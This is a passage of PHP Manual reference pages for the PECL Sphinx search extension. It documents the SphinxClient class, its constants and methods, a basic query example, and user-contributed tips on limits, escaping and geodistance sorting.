    • SphinxClient::setSortMode — Set matches sorting mode
    • SphinxClient::status — Queries searchd status
    • SphinxClient::updateAttributes — Update document attributes

User Contributed Notes

There are no user contributed notes for this page.


Introduction

This extension provides bindings for Sphinx search client library. Sphinx is a standalone search engine meant to provide fast, size-efficient and relevant fulltext search functions to other applications. Sphinx was specially designed to integrate well with SQL databases and scripting languages. Both Sphinx and its client library can be obtained from the » official site

User Contributed Notes

There are no user contributed notes for this page.


Requirements

PECL/sphinx requires PHP 5.2.2 or newer.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/sphinx.

If the ./configure script generated by phpize is having trouble finding the libsphinxclient files (for example, it was installed into a custom prefix directory), use ./configure --with-sphinx=$PREFIX, where $PREFIX is installation prefix of libsphinxclient.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

SEARCHD_OK (integer)
SEARCHD_ERROR (integer)
SEARCHD_RETRY (integer)
SEARCHD_WARNING (integer)
SPH_MATCH_ALL (integer)
SPH_MATCH_ANY (integer)
SPH_MATCH_PHRASE (integer)
SPH_MATCH_BOOLEAN (integer)
SPH_MATCH_EXTENDED (integer)
SPH_MATCH_FULLSCAN (integer)
SPH_MATCH_EXTENDED2 (integer)
SPH_RANK_PROXIMITY_BM25 (integer)
SPH_RANK_BM25 (integer)
SPH_RANK_NONE (integer)
SPH_RANK_WORDCOUNT (integer)
SPH_SORT_RELEVANCE (integer)
SPH_SORT_ATTR_DESC (integer)
SPH_SORT_ATTR_ASC (integer)
SPH_SORT_TIME_SEGMENTS (integer)
SPH_SORT_EXTENDED (integer)
SPH_SORT_EXPR (integer)
SPH_FILTER_VALUES (integer)
SPH_FILTER_RANGE (integer)
SPH_FILTER_FLOATRANGE (integer)
SPH_ATTR_INTEGER (integer)
SPH_ATTR_TIMESTAMP (integer)
SPH_ATTR_ORDINAL (integer)
SPH_ATTR_BOOL (integer)
SPH_ATTR_FLOAT (integer)
SPH_ATTR_MULTI (integer)
SPH_GROUPBY_DAY (integer)
SPH_GROUPBY_WEEK (integer)
SPH_GROUPBY_MONTH (integer)
SPH_GROUPBY_YEAR (integer)
SPH_GROUPBY_ATTR (integer)
SPH_GROUPBY_ATTRPAIR (integer)

User Contributed Notes

There are no user contributed notes for this page.


Examples

Example #1 Basic usage example

<?php

$s = new SphinxClient;
$s->setServer("localhost", 6712);
$s->setMatchMode(SPH_MATCH_ANY);
$s->setMaxQueryTime(3);

$result = $s->query("test");

var_dump($result);

?>

The above example will output something similar to:

array(10) {
  ["error"]=>
  string(0) ""
  ["warning"]=>
  string(0) ""
  ["status"]=>
  int(0)
  ["fields"]=>
  array(3) {
    [0]=>
    string(7) "subject"
    [1]=>
    string(4) "body"
    [2]=>
    string(6) "author"
  }
  ["attrs"]=>
  array(0) {
  }
  ["matches"]=>
  array(1) {
    [3]=>
    array(2) {
      ["weight"]=>
      int(1)
      ["attrs"]=>
      array(0) {
      }
    }
  }
  ["total"]=>
  int(1)
  ["total_found"]=>
  int(1)
  ["time"]=>
  float(0)
  ["words"]=>
  array(1) {
    ["to"]=>
    array(2) {
      ["docs"]=>
      int(1)
      ["hits"]=>
      int(1)
    }
  }
}

User Contributed Notes

There are no user contributed notes for this page.


The SphinxClient class

(PECL sphinx >= 0.1.0)

Introduction

The SphinxClient class provides object-oriented interface to Sphinx.

Class synopsis

SphinxClient {
/* Methods */
public int addQuery ( string $query [, string $index = "*" [, string $comment = "" ]] )
public array buildExcerpts ( array $docs , string $index , string $words [, array $opts ] )
public array buildKeywords ( string $query , string $index , bool $hits )
public bool close ( void )
public __construct ( void )
public string escapeString ( string $string )
public string getLastError ( void )
public string getLastWarning ( void )
public bool open ( void )
public array query ( string $query [, string $index = "*" [, string $comment = "" ]] )
public void resetFilters ( void )
public void resetGroupBy ( void )
public array runQueries ( void )
public bool setArrayResult ( bool $array_result = false )
public bool setConnectTimeout ( float $timeout )
public bool setFieldWeights ( array $weights )
public bool setFilter ( string $attribute , array $values [, bool $exclude = false ] )
public bool setFilterFloatRange ( string $attribute , float $min , float $max [, bool $exclude = false ] )
public bool setFilterRange ( string $attribute , int $min , int $max [, bool $exclude = false ] )
public bool setGeoAnchor ( string $attrlat , string $attrlong , float $latitude , float $longitude )
public bool setGroupBy ( string $attribute , int $func [, string $groupsort = "@group desc" ] )
public bool setGroupDistinct ( string $attribute )
public bool setIDRange ( int $min , int $max )
public bool setIndexWeights ( array $weights )
public bool setLimits ( int $offset , int $limit [, int $max_matches = 0 [, int $cutoff = 0 ]] )
public bool setMatchMode ( int $mode )
public bool setMaxQueryTime ( int $qtime )
public bool setOverride ( string $attribute , int $type , array $values )
public bool setRankingMode ( int $ranker )
public bool setRetries ( int $count [, int $delay = 0 ] )
public bool setSelect ( string $clause )
public bool setServer ( string $server , int $port )
public bool setSortMode ( int $mode [, string $sortby ] )
public array status ( void )
public int updateAttributes ( string $index , array $attributes , array $values [, bool $mva = false ] )
}

Table of Contents

  • SphinxClient::addQuery — Add query to multi-query batch
  • SphinxClient::buildExcerpts — Build text snippets
  • SphinxClient::buildKeywords — Extract keywords from query
  • SphinxClient::close — Closes previously opened persistent connection
  • SphinxClient::__construct — Create a new SphinxClient object
  • SphinxClient::escapeString — Escape special characters
  • SphinxClient::getLastError — Get the last error message
  • SphinxClient::getLastWarning — Get the last warning
  • SphinxClient::open — Opens persistent connection to the server
  • SphinxClient::query — Execute search query
  • SphinxClient::resetFilters — Clear all filters
  • SphinxClient::resetGroupBy — Clear all group-by settings
  • SphinxClient::runQueries — Run a batch of search queries
  • SphinxClient::setArrayResult — Change the format of result set array
  • SphinxClient::setConnectTimeout — Set connection timeout
  • SphinxClient::setFieldWeights — Set field weights
  • SphinxClient::setFilter — Add new integer values set filter
  • SphinxClient::setFilterFloatRange — Add new float range filter
  • SphinxClient::setFilterRange — Add new integer range filter
  • SphinxClient::setGeoAnchor — Set anchor point for a geosphere distance calculations
  • SphinxClient::setGroupBy — Set grouping attribute
  • SphinxClient::setGroupDistinct — Set attribute name for per-group distinct values count calculations
  • SphinxClient::setIDRange — Set a range of accepted document IDs
  • SphinxClient::setIndexWeights — Set per-index weights
  • SphinxClient::setLimits — Set offset and limit of the result set
  • SphinxClient::setMatchMode — Set full-text query matching mode
  • SphinxClient::setMaxQueryTime — Set maximum query time
  • SphinxClient::setOverride — Sets temporary per-document attribute value overrides
  • SphinxClient::setRankingMode — Set ranking mode
  • SphinxClient::setRetries — Set retry count and delay
  • SphinxClient::setSelect — Set select clause
  • SphinxClient::setServer — Set searchd host and port
  • SphinxClient::setSortMode — Set matches sorting mode
  • SphinxClient::status — Queries searchd status
  • SphinxClient::updateAttributes — Update document attributes

User Contributed Notes

There are no user contributed notes for this page.


Add query to multi-query batch

  • « SphinxClient
  • SphinxClient::buildExcerpts »
  • PHP Manual
  • SphinxClient
  • Add query to multi-query batch

SphinxClient::addQuery

(PECL sphinx >= 0.1.0)

SphinxClient::addQuery — Add query to multi-query batch

Description

public int SphinxClient::addQuery ( string $query [, string $index = "*" [, string $comment = "" ]] )

Adds query with the current settings to multi-query batch. This method doesn't affect current settings (sorting, filtering, grouping etc.) in any way.

Parameters

query

Query string.

index

An index name (or names).

comment

Return Values

Returns an index in an array of results that will be returned by SphinxClient::runQueries call or false on error.

See Also

  • SphinxClient::runQueries
  • SphinxClient::query

User Contributed Notes

There are no user contributed notes for this page.


Build text snippets

  • « SphinxClient::addQuery
  • SphinxClient::buildKeywords »
  • PHP Manual
  • SphinxClient
  • Build text snippets

SphinxClient::buildExcerpts

(PECL sphinx >= 0.1.0)

SphinxClient::buildExcerpts — Build text snippets

Description

public array SphinxClient::buildExcerpts ( array $docs , string $index , string $words [, array $opts ] )

Connects to searchd, requests it to generate excerpts (snippets) from the given documents, and returns the results.

Parameters

docs

Array of strings with documents' contents.

index

Index name.

words

Keywords to highlight.

opts

Associative array of additional highlighting options (see below).

Highlighting options
Option | Description
"before_match" | A string to insert before a keyword match. Default is "<b>".
"after_match" | A string to insert after a keyword match. Default is "</b>".
"chunk_separator" | A string to insert between snippet chunks (passages). Default is " ... ".
"limit" | Maximum snippet size, in symbols (codepoints). Integer, default is 256.
"around" | How much words to pick around each matching keywords block. Integer, default is 5.
"exact_phrase" | Whether to highlight exact query phrase matches only instead of individual keywords. Boolean, default is FALSE.
"single_passage" | Whether to extract single best passage only. Boolean, default is FALSE.

Return Values

Returns array of snippets on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Extract keywords from query

  • « SphinxClient::buildExcerpts
  • SphinxClient::close »
  • PHP Manual
  • SphinxClient
  • Extract keywords from query

SphinxClient::buildKeywords

(PECL sphinx >= 0.1.0)

SphinxClient::buildKeywords — Extract keywords from query

Description

public array SphinxClient::buildKeywords ( string $query , string $index , bool $hits )

Extracts keywords from query using tokenizer settings for the given index, optionally with per-keyword occurrence statistics.

Parameters

query

A query to extract keywords from.

index

An index to get tokenizing settings and keyword occurrence statistics from.

hits

A boolean flag to enable/disable keyword statistics generation.

Return Values

Returns an array of associative arrays with per-keyword information.

User Contributed Notes

There are no user contributed notes for this page.


Closes previously opened persistent connection

  • « SphinxClient::buildKeywords
  • SphinxClient::__construct »
  • PHP Manual
  • SphinxClient
  • Closes previously opened persistent connection

SphinxClient::close

(PECL sphinx >= 1.0.3)

SphinxClient::close — Closes previously opened persistent connection

Description

public bool SphinxClient::close ( void )

Closes previously opened persistent connection.

Parameters

This function has no parameters.

Changelog

PECL/sphinx Version | Description
1.0.3 | Added SphinxClient::close(), available only if compiled with libsphinxclient >= 0.9.9.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • SphinxClient::open

User Contributed Notes

There are no user contributed notes for this page.


Create a new SphinxClient object

  • « SphinxClient::close
  • SphinxClient::escapeString »
  • PHP Manual
  • SphinxClient
  • Create a new SphinxClient object

SphinxClient::__construct

(PECL sphinx >= 0.1.0)

SphinxClient::__construct — Create a new SphinxClient object

Description

public SphinxClient::__construct ( void )

Creates a new SphinxClient object.

Parameters

This function has no parameters.

User Contributed Notes

There are no user contributed notes for this page.


Escape special characters

  • « SphinxClient::__construct
  • SphinxClient::getLastError »
  • PHP Manual
  • SphinxClient
  • Escape special characters

SphinxClient::escapeString

(PECL sphinx >= 0.1.0)

SphinxClient::escapeString — Escape special characters

Description

public string SphinxClient::escapeString ( string $string )

Escapes characters that are treated as special operators by the query language parser.

Parameters

string

String to escape.

Return Values

Returns escaped string.

User Contributed Notes

xxxbunker dot com 14-Mar-2010 05:12
according to http://www.sphinxsearch.com/forum/view.html?id=5225:

this function doesn't really do what one would expect (mysql_real_escape_string style) and is more meant to escape individual keywords...

my experience it works better to manually escape reserved characters, for example:

<?php
$string='make big $ online';

$escaped=str_replace('$','\\$',$string);
?>


Get the last error message

  • « SphinxClient::escapeString
  • SphinxClient::getLastWarning »
  • PHP Manual
  • SphinxClient
  • Get the last error message

SphinxClient::getLastError

(PECL sphinx >= 0.1.0)

SphinxClient::getLastError — Get the last error message

Description

public string SphinxClient::getLastError ( void )

Returns string with the last error message. If there were no errors during the previous API call, empty string is returned. This method doesn't reset the error message, so you can safely call it several times.

Parameters

This function has no parameters.

Return Values

Returns the last error message or an empty string if there were no errors.

See Also

  • SphinxClient::getLastWarning

User Contributed Notes

miro dot wikgren at w3 dot fi 05-Sep-2014 11:21
Note that getLastError() doesn't work if you run multiple queries with runQueries(). It doesn't return any error, even if one or several (or all) of the queries failed.


Get the last warning

  • « SphinxClient::getLastError
  • SphinxClient::open »
  • PHP Manual
  • SphinxClient
  • Get the last warning

SphinxClient::getLastWarning

(PECL sphinx >= 0.1.0)

SphinxClient::getLastWarning — Get the last warning

Description

public string SphinxClient::getLastWarning ( void )

Returns last warning message. If there were no warnings during the previous API call, empty string is returned. This method doesn't reset the warning, so you can safely call it several times.

Parameters

This function has no parameters.

Return Values

Returns the last warning message or an empty string if there were no warnings.

See Also

  • SphinxClient::getLastError

User Contributed Notes

There are no user contributed notes for this page.


Opens persistent connection to the server

  • « SphinxClient::getLastWarning
  • SphinxClient::query »
  • PHP Manual
  • SphinxClient
  • Opens persistent connection to the server

SphinxClient::open

(PECL sphinx >= 1.0.3)

SphinxClient::open — Opens persistent connection to the server

Description

public bool SphinxClient::open ( void )

Opens persistent connection to the server.

Parameters

This function has no parameters.

Changelog

PECL/sphinx Version | Description
1.0.3 | Added SphinxClient::open(), available only if compiled with libsphinxclient >= 0.9.9.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • SphinxClient::close

User Contributed Notes

There are no user contributed notes for this page.


Execute search query

  • « SphinxClient::open
  • SphinxClient::resetFilters »
  • PHP Manual
  • SphinxClient
  • Execute search query

SphinxClient::query

(PECL sphinx >= 0.1.0)

SphinxClient::query — Execute search query

Description

public array SphinxClient::query ( string $query [, string $index = "*" [, string $comment = "" ]] )

Connects to searchd server, runs the given search query with the current settings, obtains and returns the result set.

Parameters

query

Query string.

index

An index name (or names).

comment

Return Values

On success, SphinxClient::query() returns a list of found matches and additional per-query statistics. The result set is a hash utilize other structures instead of hash) with the following keys and values:

Result set structure
Key | Value description
"matches" | An array with found document IDs as keys and their weight and attributes values as values
"total" | Total number of matches found and retrieved (depends on your settings)
"total_found" | Total number of found documents matching the query
"words" | An array with words (case-folded and stemmed) as keys and per-word statistics as values
"error" | Query error message reported by searchd
"warning" | Query warning reported by searchd

See Also

  • SphinxClient::runQueries
  • SphinxClient::addQuery

User Contributed Notes

moosh at php dot net 14-Feb-2011 12:35
public array SphinxClient::query ( string $query [, string $index = "*" [, string $comment = "" ]] )

If you add a value for comment, you can retrieve them in sphinx query log.
php at senz dot su 15-Sep-2010 04:54
There is also a "status" key showing in what status query has ended.
Here are codes, taken from searchd.cpp:

<?php
/// known status return codes
enum SearchdStatus_e
{
        SEARCHD_OK              = 0,    ///< general success, command-specific reply follows
        SEARCHD_ERROR   = 1,    ///< general failure, error message follows
        SEARCHD_RETRY   = 2,    ///< temporary failure, error message follows, client should retry later
        SEARCHD_WARNING = 3             ///< general success, warning message and command-specific reply follow
};
?>
fkoehl at gmail dot com 11-Dec-2008 05:16
It appears that Query() (or the Sphinx program in general) does have some kind of limit imposed on the maximum length of a query submission. Stumbled across this limitation when trying to perform some searches based on content from user-submitted e-mails.

In looking at the returned array, the 'words' portion only accounts for the first 8 or 9 words of the long query. I'm assuming that the rest of the string is being truncated. The number of accepted words appears to change based on the total length of the words. Just a heads-up.


Clear all filters

  • « SphinxClient::query
  • SphinxClient::resetGroupBy »
  • PHP Manual
  • SphinxClient
  • Clear all filters

SphinxClient::resetFilters

(PECL sphinx >= 0.1.0)

SphinxClient::resetFilters — Clear all filters

Description

public void SphinxClient::resetFilters ( void )

Clears all currently set filters. This call is normally required when using multi-queries. You might want to set different filters for different queries in the batch. To do that, you should call SphinxClient::resetFilters() and add new filters using the respective calls.

Return Values

No value is returned.

See Also

  • SphinxClient::resetGroupBy

User Contributed Notes

There are no user contributed notes for this page.


Clear all group-by settings

  • « SphinxClient::resetFilters
  • SphinxClient::runQueries »
  • PHP Manual
  • SphinxClient
  • Clear all group-by settings

SphinxClient::resetGroupBy

(PECL sphinx >= 0.1.0)

SphinxClient::resetGroupBy — Clear all group-by settings

Description

public void SphinxClient::resetGroupBy ( void )

Clears all currently group-by settings, and disables group-by. This call is normally required only when using multi-queries.

Return Values

No value is returned.

See Also

  • SphinxClient::resetGroupBy

User Contributed Notes

There are no user contributed notes for this page.


Run a batch of search queries

  • « SphinxClient::resetGroupBy
  • SphinxClient::setArrayResult »
  • PHP Manual
  • SphinxClient
  • Run a batch of search queries

SphinxClient::runQueries

(PECL sphinx >= 0.1.0)

SphinxClient::runQueries — Run a batch of search queries

Description

public array SphinxClient::runQueries ( void )

Connects to searchd, runs a batch of all queries added using SphinxClient::addQuery, obtains and returns the result sets.

Return Values

Returns FALSE on failure and array of result sets on success.

See Also

  • SphinxClient::addQuery
  • SphinxClient::query

User Contributed Notes

There are no user contributed notes for this page.


Change the format of result set array

  • « SphinxClient::runQueries
  • SphinxClient::setConnectTimeout »
  • PHP Manual
  • SphinxClient
  • Change the format of result set array

SphinxClient::setArrayResult

(PECL sphinx >= 0.1.0)

SphinxClient::setArrayResult — Change the format of result set array

Description

public bool SphinxClient::setArrayResult ( bool $array_result = false )

Controls the format of search results set arrays (whether matches should be returned as an array or a hash).

Parameters

array_result

If array_result is FALSE, matches are returned as a hash with document IDs as keys, and other information (weight, attributes) as values. If array_result is TRUE, matches are returned as a plain array with complete per-match information including document IDs.

Return Values

Always returns TRUE.

User Contributed Notes

There are no user contributed notes for this page.


Set connection timeout

  • « SphinxClient::setArrayResult
  • SphinxClient::setFieldWeights »
  • PHP Manual
  • SphinxClient
  • Set connection timeout

SphinxClient::setConnectTimeout

(PECL sphinx >= 0.1.0)

SphinxClient::setConnectTimeout — Set connection timeout

Description

public bool SphinxClient::setConnectTimeout ( float $timeout )

Sets connection timeout (in seconds) for searchd connection.

Parameters

timeout

Timeout in seconds.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • SphinxClient::setMaxQueryTime

User Contributed Notes

There are no user contributed notes for this page.


Set field weights

  • « SphinxClient::setConnectTimeout
  • SphinxClient::setFilter »
  • PHP Manual
  • SphinxClient
  • Set field weights

SphinxClient::setFieldWeights

(PECL sphinx >= 0.1.0)

SphinxClient::setFieldWeights — Set field weights

Description

public bool SphinxClient::setFieldWeights ( array $weights )

Binds per-field weights by name.

Match ranking can be affected by per-field weights. See » Sphinx documentation for an explanation on how phrase proximity ranking is affected. This call lets you specify non-default weights for full-text fields.

The weights must be positive 32-bit integers, so be careful not to hit 32-bit integer maximum. The final weight is a 32-bit integer too. Default weight value is 1. Unknown field names are silently ignored.

Parameters

weights

Associative array of field names and field weights.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • SphinxClient::setIndexWeights

User Contributed Notes

george dot oslobanu at gmail dot com 01-Aug-2013 11:29
although the specs (both php & sphinx manuals) states that field weight should be positive integer, values lower than 1 (0 for example) would not work. Found this on a blog and i hope this will help you ...


Add new integer values set filter

  • « SphinxClient::setFieldWeights
  • SphinxClient::setFilterFloatRange »
  • PHP Manual
  • SphinxClient
  • Add new integer values set filter

SphinxClient::setFilter

(PECL sphinx >= 0.1.0)

SphinxClient::setFilter — Add new integer values set filter

Description

public bool SphinxClient::setFilter ( string $attribute , array $values [, bool $exclude = false ] )

Adds new integer values set filter to the existing list of filters.

Parameters

attribute

An attribute name.

values

Plain array of integer values.

exclude

If set to TRUE, matching documents are excluded from the result set.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • SphinxClient::setFilterFloatRange
  • SphinxClient::setFilterRange
  • SphinxClient::resetFilters

User Contributed Notes

There are no user contributed notes for this page.


Add new float range filter

  • « SphinxClient::setFilter
  • SphinxClient::setFilterRange »
  • PHP Manual
  • SphinxClient
  • Add new float range filter

SphinxClient::setFilterFloatRange

(PECL sphinx >= 0.1.0)

SphinxClient::setFilterFloatRange — Add new float range filter

Description

public bool SphinxClient::setFilterFloatRange ( string $attribute , float $min , float $max [, bool $exclude = false ] )

Adds new float range filter to the existing list of filters. Only those documents which have attribute value stored in the index between min and max (including values that are exactly equal to min or max) will be matched (or rejected, if exclude is TRUE).

Parameters

attribute

An attribute name.

min

Minimum value.

max

Maximum value.

exclude

If set to TRUE, matching documents are excluded from the result set.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • SphinxClient::setFilterRange
  • SphinxClient::setFilter
  • SphinxClient::resetFilters

User Contributed Notes

There are no user contributed notes for this page.


Add new integer range filter

  • « SphinxClient::setFilterFloatRange
  • SphinxClient::setGeoAnchor »
  • PHP Manual
  • SphinxClient
  • Add new integer range filter

SphinxClient::setFilterRange

(PECL sphinx >= 0.1.0)

SphinxClient::setFilterRange — Add new integer range filter

Description

public bool SphinxClient::setFilterRange ( string $attribute , int $min , int $max [, bool $exclude = false ] )

Adds new integer range filter to the existing list of filters. Only those documents which have attribute value stored in the index between min and max (including values that are exactly equal to min or max) will be matched (or rejected, if exclude is TRUE).

Parameters

attribute

An attribute name.

min

Minimum value.

max

Maximum value.

exclude

If set to TRUE, matching documents are excluded from the result set.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • SphinxClient::setFilterFloatRange
  • SphinxClient::setFilter
  • SphinxClient::resetFilters

User Contributed Notes

There are no user contributed notes for this page.


Set anchor point for a geosphere distance calculations

  • « SphinxClient::setFilterRange
  • SphinxClient::setGroupBy »
  • PHP Manual
  • SphinxClient
  • Set anchor point for a geosphere distance calculations

SphinxClient::setGeoAnchor

(PECL sphinx >= 0.1.0)

SphinxClient::setGeoAnchor — Set anchor point for a geosphere distance calculations

Description

public bool SphinxClient::setGeoAnchor ( string $attrlat , string $attrlong , float $latitude , float $longitude )

Sets anchor point for a geosphere distance (geodistance) calculations and enables them.

Once an anchor point is set, you can use magic "@geodist" attribute name in your filters and/or sorting expressions.

Parameters

attrlat

Name of a latitude attribute.

attrlong

Name of a longitude attribute.

latitude

Anchor latitude in radians.

longitude

Anchor longitude in radians.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • SphinxClient::setFilterFloatRange
  • SphinxClient::setFilterRange
  • SphinxClient::setFilter
  • SphinxClient::resetFilters

User Contributed Notes

michel dot bartz at igotchamedia dot com 20-Jul-2011 04:17
For this to work, attrlat and attrlng need to be in lower case otherwise you will get :
"unknown latitude attribute ''"
k dot andris at gmail dot com 07-Oct-2010 09:55
When sorting on @geodist you have to use SetSortMode with SPH_SORT_EXTENDED, like below, if SPH_SORT_ATTR_ASC does not seem to work.

$sphinx->SetSortMode(SPH_SORT_EXTENDED, '@geodist ASC');


Set grouping attribute

  • « SphinxClient::setGeoAnchor
  • SphinxClient::setGroupDistinct »
  • PHP Manual
  • SphinxClient
  • Set grouping attribute

SphinxClient::setGroupBy

(PECL sphinx >= 0.1.0)

SphinxClient::setGroupBy — Set grouping attribute

Description

public bool SphinxClient::setGroupBy ( string $attribute , int $func [, string $groupsort = "@group desc" ] )

Sets grouping attribute, function, and group sorting mode, and enables grouping.

Grouping feature is very similar to GROUP BY clause in SQL. Results produced by this function call are going to be the same as produced by the following pseudo code: SELECT ... GROUP BY $func($attribute) ORDER BY $groupsort.

Parameters

attribute

A string containing group-by attribute name.

func

Constant, which sets a function applied to the attribute value in order to compute group-by key.

groupsort

An optional clause controlling how the groups are sorted.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • SphinxClient::resetGroupBy
  • SphinxClient::setSortMode
  • SphinxClient::setGroupDistinct

User Contributed Notes

There are no user contributed notes for this page.


Set attribute name for per-group distinct values count calculations

  • « SphinxClient::setGroupBy
  • SphinxClient::setIDRange »
  • PHP Manual
  • SphinxClient
  • Set attribute name for per-group distinct values count calculations

SphinxClient::setGroupDistinct

(PECL sphinx >= 0.1.0)

SphinxClient::setGroupDistinct — Set attribute name for per-group distinct values count calculations

Description

public bool SphinxClient::setGroupDistinct ( string $attribute )

Sets attribute name for per-group distinct values count calculations. Only available for grouping queries. For each group, all values of attribute will be stored, then the amount of distinct values will be calculated and returned to the client. This feature is similar to COUNT(DISTINCT) clause in SQL.

Parameters

attribute

A string containing group-by attribute name.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • SphinxClient::setSortMode
  • SphinxClient::setGroupBy
  • SphinxClient::resetGroupBy

User Contributed Notes

There are no user contributed notes for this page.


Set a range of accepted document IDs

  • « SphinxClient::setGroupDistinct
  • SphinxClient::setIndexWeights »
  • PHP Manual
  • SphinxClient
  • Set a range of accepted document IDs

SphinxClient::setIDRange

(PECL sphinx >= 0.1.0)

SphinxClient::setIDRange — Set a range of accepted document IDs

Description

public bool SphinxClient::setIDRange ( int $min , int $max )

Sets an accepted range of document IDs. Default range is from 0 to 0, i.e. no limit. Only those records that have document ID between min and max (including IDs exactly equal to min or max) will be matched.

Parameters

min

Minimum ID value.

max

Maximum ID value.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set per-index weights

  • « SphinxClient::setIDRange
  • SphinxClient::setLimits »
  • PHP Manual
  • SphinxClient
  • Set per-index weights

SphinxClient::setIndexWeights

(PECL sphinx >= 0.1.0)

SphinxClient::setIndexWeights — Set per-index weights

Description

public bool SphinxClient::setIndexWeights ( array $weights )

Sets per-index weights and enables weighted summing of match weights across different indexes.

Parameters

weights

An associative array mapping string index names to integer weights. Default is empty array, i.e. weighting summing is disabled.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set offset and limit of the result set

  • « SphinxClient::setIndexWeights
  • SphinxClient::setMatchMode »
  • PHP Manual
  • SphinxClient
  • Set offset and limit of the result set

SphinxClient::setLimits

(PECL sphinx >= 0.1.0)

SphinxClient::setLimits — Set offset and limit of the result set

Description

public bool SphinxClient::setLimits ( int $offset , int $limit [, int $max_matches = 0 [, int $cutoff = 0 ]] )

Sets offset into server-side result set and amount of matches to return to client starting from that offset (limit). Can additionally control maximum server-side result set size for current query (max_matches) and the threshold amount of matches to stop searching at (cutoff).

Parameters

offset

Result set offset.

limit

Amount of matches to return.

max_matches

Controls how much matches searchd will keep in RAM while searching.

cutoff

Used for advanced performance control. It tells searchd to forcibly stop search query once cutoff matches have been found and processed.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

xxxbunker dot com 22-Mar-2010 07:52
the max_matches / cutoff parameters are priceless.

if you ever have a situation where you need a 'count' of the number of matches, but only need to display lets say the 'top 10', these 2 parameters are very handy.

we used to get the occasional 'unable to connect' error with sphinx, after implementing these 2 parameters where applicable, these issues disappeared, load dropped, and the servers were much happier.
shoanm at users dot sourceforge dot net 25-Aug-2009 12:06
I almost pulled out all my hair trying to figure this one out. After applying limits using

$s->setLimit(10,10);

the search kept returning only false. getLastError() and getLastWarning() contained empty strings.

The solution, like Nayana stated, is to add a positive non-zero integer $max to setLimit.
Nayana Hettiarachch nayana at corp-gems dot com 23-Jan-2009 05:36
If you get an error
per-query max_matches=0 out of bounds (per-server max_matches=1000).

make sure that you also set the $max to a value other than the default 0,

there is an issue published with a patch if you feel like wanting to patch,

the first option works well as a workaround.

http://sphinxsearch.com/bugs/view.php?id=208


Set full-text query matching mode

  • « SphinxClient::setLimits
  • SphinxClient::setMaxQueryTime »
  • PHP Manual
  • SphinxClient
  • Set full-text query matching mode

SphinxClient::setMatchMode

(PECL sphinx >= 0.1.0)

SphinxClient::setMatchMode — Set full-text query matching mode

Description

public bool SphinxClient::setMatchMode ( int $mode )

Sets full-text query matching mode. mode is one of the constants listed below.

Match modes
Constant | Description
SPH_MATCH_ALL | Match all query words (default mode).
SPH_MATCH_ANY | Match any of query words.
SPH_MATCH_PHRASE | Match query as a phrase, requiring perfect match.
SPH_MATCH_BOOLEAN | Match query as a boolean expression.
SPH_MATCH_EXTENDED | Match query as an expression in Sphinx internal query language.
SPH_MATCH_FULLSCAN | Enables fullscan.
SPH_MATCH_EXTENDED2 | The same as SPH_MATCH_EXTENDED plus ranking and quorum searching support.

Parameters

mode

Matching mode.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • SphinxClient::setRankingMode
  • SphinxClient::setSortMode

User Contributed Notes

There are no user contributed notes for this page.


Set maximum query time

  • « SphinxClient::setMatchMode
  • SphinxClient::setOverride »
  • PHP Manual
  • SphinxClient
  • Set maximum query time

SphinxClient::setMaxQueryTime

(PECL sphinx >= 0.1.0)

SphinxClient::setMaxQueryTime — Set maximum query time

Description

public bool SphinxClient::setMaxQueryTime ( int $qtime )

Sets maximum search query time.

Parameters

qtime

Maximum query time, in milliseconds. It must be a non-negative integer. Default value is 0, i.e. no limit.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Sets temporary per-document attribute value overrides

  • « SphinxClient::setMaxQueryTime
  • SphinxClient::setRankingMode »
  • PHP Manual
  • SphinxClient
  • Sets temporary per-document attribute value overrides

SphinxClient::setOverride

(PECL sphinx >= 1.0.3)

SphinxClient::setOverride — Sets temporary per-document attribute value overrides

Description

public bool SphinxClient::setOverride ( string $attribute , int $type , array $values )

Sets temporary (per-query) per-document attribute value overrides. Override feature lets you "temporary" update attribute values for some documents within a single query, leaving all other queries unaffected. This might be useful for personalized data

Parameters

attribute

An attribute name.

type

An attribute type. Only supports scalar attributes.

values

Array of attribute values that maps document IDs to overridden attribute values.

Changelog

PECL/sphinx Version | Description
1.0.3 | Added SphinxClient::setOverride(), available only if compiled with libsphinxclient >= 0.9.9.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Set ranking mode

  • « SphinxClient::setOverride
  • SphinxClient::setRetries »
  • PHP Manual
  • SphinxClient
  • Set ranking mode

SphinxClient::setRankingMode

(PECL sphinx >= 0.1.0)

SphinxClient::setRankingMode — Set ranking mode

Description

public bool SphinxClient::setRankingMode ( int $ranker )

Sets ranking mode. Only available in SPH_MATCH_EXTENDED2 matching mode.

Ranking modes
Constant | Description
SPH_RANK_PROXIMITY_BM25 | Default ranking mode which uses both proximity and BM25 ranking.
SPH_RANK_BM25 | Statistical ranking mode which uses BM25 ranking only (similar to most of other full-text engines). This mode is faster, but may result in worse quality on queries which contain more than 1 keyword.
SPH_RANK_NONE | Disables ranking. This mode is the fastest. It is essentially equivalent to boolean searching, a weight of 1 is assigned to all matches.

Parameters

ranker

Ranking mode.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • SphinxClient::setMatchMode

User Contributed Notes

